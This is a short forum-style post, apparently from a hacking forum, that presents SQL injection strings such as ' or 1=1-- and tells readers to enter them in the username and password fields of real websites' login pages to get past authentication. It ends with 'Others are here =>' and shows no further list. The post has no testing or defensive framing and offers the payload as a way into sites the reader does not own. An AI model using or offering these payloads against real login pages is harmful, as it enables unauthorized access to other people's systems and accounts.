SQL injections

Hey guys,
These are the SQL Injection Strings!
Using them are very simple and very easy!
just go to a login page of a website and start putting these one by one in both the username and password field!

Username:' or 1=1--
Password:' or 1=1--

Or also some sites will have just a password so

password:' or 1=1--

This one is the most commonly used! Others are here =>
